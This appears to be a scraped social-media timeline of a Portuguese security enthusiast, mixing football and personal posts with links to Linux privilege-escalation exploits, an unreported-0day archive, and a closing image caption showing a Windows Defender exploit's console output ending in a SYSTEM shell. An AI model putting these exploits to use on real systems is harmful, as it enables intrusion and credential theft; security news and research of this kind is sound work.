Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026I'm going! #avengers #doomsday 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026Cheira-me que o #CR7 vem de pé no avião, pois não gosta de estar no banco. via Alberto Vasconcelos no Facebook 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026Olha... Fez birrinha... Os meus putos tb faziam, até aos 10 anos, mas depois passou-lhes. 🤦 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 08/09/2026Petição Pública: Pela Modernização da Medição em UPAC - Revisão do DL n.º 15/2022 e do Regulamento do Autoconsumo peticaopublica.com/?pi=PT132662 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 31/08/2026o gajo da EDP que emite faturas foi de férias? 🤔 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 12/08/2026#pechincha #eclipse2026 #olx 000 0
Reposted by Carlos Mogas da SilvaWill Dormann @wdormann.infosec.exchange.ap.brid.gy · 12/08/2026And right on schedule (after the Patch Tuesday release), we have ShieldBreak from Nightmare Eclipse. Which is reportedly an insufficient fix for RoguePlanet. In my brief testing, Defender needs to be enabled for the exploit to work. 124 4
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 04/08/2026yep.... #ecotech #mobius working on #homeassistant. #reef #aquarium 010 1
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 29/07/2026See you all @bsideslisbon 😉 #BSidesLisbon 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 28/07/2026RE: infosec.exchange/@bontchev/11699754… Best petition ever 👏 000 0
Reposted by Carlos Mogas da Silvabontchev.infosec.exchange.ap.brid.gy @bontchev.infosec.exchange.ap.brid.gy · 23/07/2026True. 001 1
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 20/07/2026Best scene of #DoomsDay trailer! Bring it on!!!! 👏 👏 👏 👏 👏 010 1
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 19/07/2026Cat we get a repeat of yesterday's game? 🙄 😴 😴 #ESPARG 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 18/07/2026OK, the same guys that DMed the French players on the 1st half, can they now DM the English dudes? This game is nuts! #FRAENG 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 18/07/2026Can someone DM the French players that the game already started? #FRAENG 032 3
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 15/07/2026Parecia que estava a ver Portugal jogar... Marcaram um e encostaram-se em modo autocarro em frente à baliza. É bem feito. Parabéns à Argentina. #ENGARG 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 06/07/20262a parte de merda... 🤷♂️ #PORESP 100 1
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 06/07/2026Bem... Devo dizer que estou admirado. A jogar bem 👌 algumas falhas defensivas, mas positivo no geral. Vamos lá ver como corre na 2a parte. #PORESP 000 0
Reposted by Carlos Mogas da SilvaManuel Reis @manuelreis.bsky.social · 03/07/2026Portugal x Espanha, segunda-feira, às 20:00, na RTP1, Live Mode TV (YouTube) e Sport TV 1, em direto do Jerry World! (E com direito às cheerleaders dos Dallas Cowboys? Elas têm estado por lá…) 031 3
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 28/06/2026Voltámos a jogar uma merda... Jogar para empatar. Não conseguimos trocar de treinador a meio do mundial?? #COLPOR 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 27/06/2026Go grab them while they're hot! Huge dump os 0days apparently github.com/bikini/exploitarium #0daygithub.comGitHub - bikini/exploitarium: A single archive of public exploit PoCs and vulnerability research writeups. At the time I post these, none have been reported. Feel free to report them yourself and take credit for the CVE if handed out lulzA single archive of public exploit PoCs and vulnerability research writeups. At the time I post these, none have been reported. Feel free to report them yourself and take credit for the CVE if hand... 100 1
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 26/06/2026I was missing these already... #not github.com/sgkdev/packet_edit_meme #pedit #cow #privescgithub.comGitHub - sgkdev/packet_edit_meme: PACKET_EDIT_MEME.c (aka CVE-2026-46331): yet another page cache poisoning nightmarePACKET_EDIT_MEME.c (aka CVE-2026-46331): yet another page cache poisoning nightmare - sgkdev/packet_edit_meme 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 23/06/2026Bastante melhor prestação nesta primeira parte. Tirando ali 5 ou 6 minutos, com o golo anulado, de resto estivemos bem. Bora mais 45! 💪 #PORUZB 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 26/05/2026annnnnd #NightmareEclipse's gitlab account was just banned. what was that? 2 days? 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 25/05/2026Quem foi o estagiário que tropeçou no cabo da #MEO? 020 2
Reposted by Carlos Mogas da SilvaWill Dormann @wdormann.infosec.exchange.ap.brid.gy · 19/05/2026There's another LInux LPE (of course): pintheft > Sadly, the RDS kernel module this requires is only default on Arch Linux among the common distributions we tested. CVE unknown. 303 3
Reposted by Carlos Mogas da SilvaWill Dormann @wdormann.infosec.exchange.ap.brid.gy · 17/05/2026There's apparently another Linux LPE. DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. I suspect it may be CVE-2026-31635. I have not been able to get it to actually work on **any** Linux distro that I've tried. 122 2
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 15/05/2026And because one or two #LPEs per week is not enough, here's your daily dose of #Linux #LPE. This one goes back to at least kernel 5.10. No real mitigations to apply this time. github.com/0xdeadbeefnetwork/ssh-ke…github.comGitHub - 0xdeadbeefnetwork/ssh-keysign-pwn: Steal SSH host private keys and /etc/shadow via the ptrace_may_access mm-NULL bypass + pidfd_getfd. Pre-31e62c2ebbfd kernels.Steal SSH host private keys and /etc/shadow via the ptrace_may_access mm-NULL bypass + pidfd_getfd. Pre-31e62c2ebbfd kernels. - 0xdeadbeefnetwork/ssh-keysign-pwn 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 14/05/2026Keep calm that they keep on coming... Better fire up you mitigations because this is probably going to take a while to patch fully. lore.kernel.org/netdev/agVpIsaSherj… #fragnesia #linux #lpelore.kernel.orgRe: [PATCH net v2] net: skbuff: propagate shared-frag marker through frag-transfer helpers - Sultan Alsawaf 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 13/05/2026And another... www.phoronix.com/news/Linux-Fragnes… #linux #lpe #fragnesiaphoronix.comFragnesia Made Public As Latest Linux Local Privilege Escalation VulnerabilityFollowing last week's disclosure of the Dirty Frag vulnerability for the Linux kernel, which only finished being patched up in mainline on Monday, Fragnesia is now public as a similar local privilege escalation (LPE) vulnerability... 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 09/05/2026Damn man... what a box! Really nice experience 💪 #htb #HackTheBox 000 0
Reposted by Carlos Mogas da SilvaWill Dormann @wdormann.infosec.exchange.ap.brid.gy · 07/05/2026Did you like CopyFail, but were annoyed that it didn't work on distros with somewhat up-to-date kernels, like Ubuntu 26.04? Don't worry. Dirty Frag has got your back! From the advisory: > Because the responsible disclosure schedule and embargo have been […] [Original post on infosec.exchange] 108 8
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 04/05/2026#HTB #HackTheBox #Silentium 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 04/05/2026#HTB #HackTheBox #Logging 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/04/2026The actualy #copyfail techical writeup: xint.io/blog/copy-fail-linux-distri…xint.ioCopy Fail: 732 Bytes to Root on Every Major Linux Distributions - XintXint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Security, Vulnerability Research 000 0
Reposted by Carlos Mogas da Silvakcxt! @cas.treehouse.systems.ap.brid.gy · 29/04/2026lol, lmao?? this AI generated website makes me wanna headbutt a wall but the CVE seems real(?), update your kernels folks copy.fail/#exploit the part that really grinds my gears is why is the poc written in the most disgusting possible python syntax?? are we optimising for size here? 011 1
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 28/04/2026RE: infosec.exchange/@SecureOwl/1164047… Just read the thread... I'm astonished by the amount of stupidity in the world 🤦♂️infosec.exchange 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 25/04/2026New rankings on #HTB.... guess what? 😅 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 23/04/2026And because one compromise never comes alone... Here's another... opensourcemalware.com/npm/@bitwarde… #npm #malware #infostealeropensourcemalware.comOpenSourceMalware.com - Community Threat IntelligenceSecurity professionals sharing intelligence on malicious packages, repositories, and CDNs to protect the open source ecosystem. 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 13/04/2026www.r3pek.org/how-i-got-my-oscpr3pek.orgHow I got my OSCPI did the exam on April 7th and captured all the flags achieving 100 points in 13h (10h30m if I discount the breaks). 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 09/04/2026🎯 Passed the OSCP+! After a lot of late nights, practice labs, and more failed shells than I'd like to admit — I finally have the cert in hand. Some words for the family: Thank you — the late nights would have been much harder without your patience and understanding. On to the next one. 🔐 🤐 🙈 […]mastodon.r3pek.orgOriginal post on mastodon.r3pek.org 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 06/04/2026AWESOME!!! #artemis #artemisii #nasa 112 2
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 01/04/2026#Artemis is a GO!!! 🎉 🎉 #NASA #ArtemisII 100 1
Reposted by Carlos Mogas da SilvaStefan Bohacek @fediverse.stefanbohacek.online · 16/03/2026Mastodon is ten years old today! mastodon.social/@Gargron/1 github.com/mastodon/mastodon/releas… stefanbohacek.online/@stefan/110985… #mastodon #anniversary #fediverse #Mastodon10 Years #DecadeOfMastodon 2253 53
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 09/03/2026Já chegou a dolorosa. Gasóleo mais caro que a Gasolina... #combustiveis #precocombusteiveis 000 0
Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 02/03/202650% de poupança na troca de tarifa fixa para tarifa indexada (da eletricidade). Já ganhei o mês. #OMIE 000 0
![C:\Users\limited\Downloads>ShieldBreak.exe
[+] \??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} was created.
[+] Cloud provider has been registered.
[+] Attached cloud provider to C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}
[+] Placeholder created.
[+] \BaseNamedObjects\Restricted\WD_TARGET_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object manager directory created
[+] \BaseNamedObjects\Restricted\WD_SHADOW_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object manager directory created
[+] WD_SCAN <=> \??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object link created
[+] WD_SCAN <=> \CLFS\??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object link created
[+] Cloud provider callback success.
[+] Cloud provider callback success.
[+] Created \??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}\BERLIN
[+] Copied C:\Windows\System32\ntdll.dll => C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}\BERLIN:stream
[*] Scan initiated for \\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}\WD_SCAN\BERLIN
[*] Please wait...
[+] Link deleted.
[+] CLFS log locked.
[+] Cloud provider callback success.
[+] Cloud provider callback success.
[+] \??\C:\Windows\System32\phoneinfo.dll:stream file locked.
[*] Attempting to spawn shell...
[+] Exploit succeeded.
In new cmd.exe:
C:\Windows\System32>whoami
nt authority\system](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:z6gnpsdkcqthnmkgw47xsuov/bafkreig7ocj2vy6mts47om6u2at4rbgqkslok4n2t2lncle33fvglnu7ma)
